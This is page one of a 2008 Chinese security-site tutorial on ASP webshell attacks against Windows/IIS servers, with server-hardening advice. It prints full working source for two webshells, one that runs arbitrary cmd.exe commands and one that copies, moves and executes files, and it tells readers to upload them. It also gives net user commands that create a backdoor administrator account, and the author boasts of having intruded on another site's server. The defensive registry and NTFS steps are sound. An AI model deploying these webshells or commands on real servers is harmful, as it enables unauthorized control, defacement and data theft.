安全中国首页 > 文章中心 > 综合注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

MSSQL的脚本注入攻击与安全防护

更新时间:2008-7-24 1:43:56
责任编辑:流火
热 点:
前言:在各种网络上的服务器上,只要黑客能成功入侵不同配置的服务器,都会得到一定的权限,比较GUEST或SYSTEM权限等,但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的,只要我们给服务器上各种危险的组件及命令都加上一定的权限设置,那么就会得到最大的安全。下面我们来介绍一下NT系统下权限与黑客的较量,当然的的NT服务器不能是FAT32分区的,你的NT服务器必须采用NTFS分区,因为只有NTFS才能给你的服务器重要文件设置权限,如果是FAT32分区的,那就没有安全性可言了,以下介绍一些入侵防范实例大家就会知道设置权限的重要性了。
随着网络的高速发展,现在朋友们都装上了宽带网,做虚拟主机生意的提供商生意当然也越来越好了,做网站的朋友也比往年多了起来,但是现在的黑客们却喜欢上了在虚拟主机提供商的空间里放上一个webshell,以取得服务器的管理权,这是让服务器的管理员最头痛的事。黑客们通过各种 webshell 可以在服务器里运行CMD命令,还可以复制、删除文件,在线编辑文件,建立超级用户等。Webshell(也叫网页木马)在这里分很多种,如ASP、CGI、PHP、JSP的webshell都有,现在还流行 SQL 注入的xp_cmdshell等,都属于webshell中的其中一种,现在我们首先介绍的是黑客们称作为网页木马的各种webshell的攻击与防范方法。同时用这最简单的安全设置方法还能防范网络上的大部份溢出攻击等,如著名的 IDQ、IDA、WEBDAV 及RPC溢出……,都能让黑客取得你服务器的管理权,但是你通过这小小的安全配置,黑客们的溢出攻击你就不用再怕了。就算不打补丁也是安全的,相信吗?不信?请看下文!
攻击与防范方法其实都是非常的简单,所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的,在我看来没有太大的技术性可言,难度等级(初级)就是人人都可以学会的啦,但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手,这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。
一、基本ASP的WEBSHELL攻击与防范
以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码):
例一、种使用脚本绑定CMD命令:
这是一种使用脚本绑定CMD命令的攻击方法,其实asp的webshell并不止这一种,后面还会有介绍另外两种的 webshell攻击与防范方法。只要黑客在你的服务器上放上了这种 webshell ,你又没有适当的防范方法,那么你的服务器就会惨遭毒手,成了黑客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器,也有属于个人或公司的服务器,黑客是怎么样把这个 webshell传到你的服务器的呢?如果是传到虚拟主机提供商的WEB空间的,一般都是虚拟主机提供商的客户自己传的^_^,因为虚拟上机提供商的客户本身就拥有上传软件的权限,并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器,黑客怎么把这个 webshell传到服务器空间上的呢?呵呵,一般是通过服务器上某个如论坛、下载系统的脚本漏洞,通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的,由于我们这里只讲解这些 webshell是怎么样攻击的,所以并不提及到怎么样才能把这个 webshell传到服务器的空间上,本文假设你已经把这个 webshell传到了服务器空间上,你并取得了 http 的浏览地址,只要服务器是支持 asp 的,你就能使用这个 webshell取得服务器系统的管理权了,这种后门非常隐蔽,就算你重装了N次系统,打了N的的补丁也没效,因为这个漏洞是没有补丁的^_^,只要这个 webshell 还存在,黑客找到这个 webshell的WWW浏览地址,你的服务器一样会变成黑客的肉鸡,所以危害性极大。
如下图所示,我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上,把这个文件放到了FTP根目录里的webshell文件夹下,我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了,我们可以在那个空白的表单里输入所有的CMD命令,如dir c:\ 等命令,如果你想在这台服务器里建立一个超用户,可以输入两行命令,第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮,就建立了一个普通用户netpk ,再输入第二行命令, net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了,通过这些,我们可以确定这个webshell 有执行所有的CMD命令权限,你想干什么,不用我教你了吧,呵呵^_^。
下面附上这个 cmd.asp 脚本的源代码:
执行命令:<br>
<%
Dim oScript
Dim oScriptnet
Dim oFileSys, oFile
Dim szCMD,szTempFile
szCMD=request.form(".cmd")
'从输入框得到cmd
On Error Resume Next
'如果出现错误,直接跳过,防止弹出错误窗口
set oScript=server.createobject("WSCRIPT.SHELL")
'建立shell(wshshell)对象
set oFileSys=server.createobject("scripting.filesystemobject")
szTempFile="C:\"& oFileSys.GetTempName()
'GetTempName()是fso建立临时文件的一种方法
Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)
'调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中
set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
'以读的方式打开临时文件
%>
<HTML>
<body bgcolor="#C0C0C0" text="#000000">
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>">
<input type=submit value="执行CMD命令" class=input>
</FORM>
<PRE>
<%
On Error Resume Next
response.write server.HTMLEncode(oFile.ReadAll)
'输出编码后的文件内容
oFile.close
'关闭文件
call oFileSys.DeleteFile(szTempFile,True)
'防止被抓住所以删除文件
%>
</body>
</html>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种,其实你如果要防范这种攻击,你只要把ASP中的FSO(Scripting.FileSystemObject)功能删除就行了,删除FSO权限方法就是在CMD的命令提示符下输入以下命令:
Regsvr32 /u c:\winnt\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO权限,那就用不了啦。所以建议不要使用这种方法删除FSO权限,
但是,显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象.
方法如下:
查找注册表中
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值
将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,在ASP就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
  Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
但这样做还是有一定的危害性的,因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本,要知道WEBSHELL并不是只有ASP的一种,如CGI、PHP、JSP等都存在这样的WEBSHELL,如果你的服务器同时配置了支持CGI、PHP、JSP等,那可就惨了,因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看,以下还有一些值得大家注意的WEBSHELL。
其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell,配置防范方法只须要30秒就行了,防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说,因为只要一种防范方法,就能防止这些脚本攻击及溢出攻击等,在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。
例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法
以下我们介绍的是海阳顶端asp木马,这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……
如下图所示:
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载,源代码就不便写出来了。
防范方法:和例一的一样,这里不再重述。
后语:那是不是对于ASP的WEBSHELL就是关了FSO对像或给FSO在注册表里改名就行了呢?事实并不是这样的,因为ASP木马中还有一种是不需要FSO对像支持的,功能虽然并不是很强大,但是要黑一个网站的站,功能已经是很足够的了,这种木马令人防不胜防。以下请看例三。
例三:免FSO对像就能使用的ASP木马
对于这种免FSO对像就能使用的ASP木马,由于少了FSO对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。值得注意的是现在的虚拟主机提供商的虚拟主机大多数都还存在这个漏洞,看来这个漏洞那些服务器网管们是非得好好维护一下才行了。以下是当你浏览这个ASP木马时,所出现的图例。就连黑客基地的服务器也存在相同的漏洞。经本人测试结果,只要使用WEHSHELL就能很容易地取得黑客基地的管理权,但人家说我是黑基的副站长,所以就不干这事了。(编辑同志,我写的黑基这段话你可以删除的哈,因为黑基的服务器并不安全,草民就曾经进去帮他们参观过了。只是我一直没有心情通知那些吹牛B,自己的服务器都维护不好,还要收费教人家安全维护服务器的牛人。至于现在黑基还有没有存在这些漏洞我就不知道了,因为没心情帮他们测试了。)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。
防范免FSO支持的ASP木马方法如下:
通过上面的代码,我们可以看出这段代码的SHELL是通过shell.application 建立 shell 对像的,我们只要在注册表里查找键值shell.application和 wscript.shell 键值,然后把这些键值删除,就能防止这一类的ASP木马攻击了,删除这些键值对你的服务器及ASP支持等不会造成影响的,所以请放心删除。
二、构建免受 FSO 威胁虚拟主机
现在绝大多数的虚拟主机都禁用了 ASP 的标准组件:FileSystemObject,因为这个组件为 ASP 提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作(当然,这是指在使用默认设置的 Windows NT / 2000 下才能做到)。但是禁止此组件后,引起的后果就是所有利用这个组件的 ASP 将无法运行,无法满足客户的需求。
如何既允许 FileSystemObject 组件,又不影响服务器的安全性(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)呢?这里介绍本人在实验中获得的一种方法,下文以 Windows 2000 Server 为例来说明。
在服务器上打开资源管理器,用鼠标右键点击各个硬盘分区或卷的盘符,在弹出菜单中选择“属性”,选择“安全”选项卡,此时就可以看到有哪些帐号可以访问这个分区(卷)及访问权限。默认安装后,出现的是“Everyone”具有完全控制的权限。点“添加”,将“Administrators”、“Backup Operators”、“Power Users”、“Users”等几个组添加进去,并给予“完全控制”或相应的权限,注意,不要给“Guests”组、“IUSR_机器名”这几个帐号任何权限。然后将“Everyone”组从列表中删除,这样,就只有授权的组和用户才能访问此硬盘分区了,而 ASP 执行时,是以“IUSR_机器名”的身份访问硬盘的,这里没给该用户帐号权限,ASP 也就不能读写硬盘上的文件了。
下面要做的就是给每个虚拟主机用户设置一个单独的用户帐号,然后再给每个帐号分配一个允许其完全控制的目录。

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画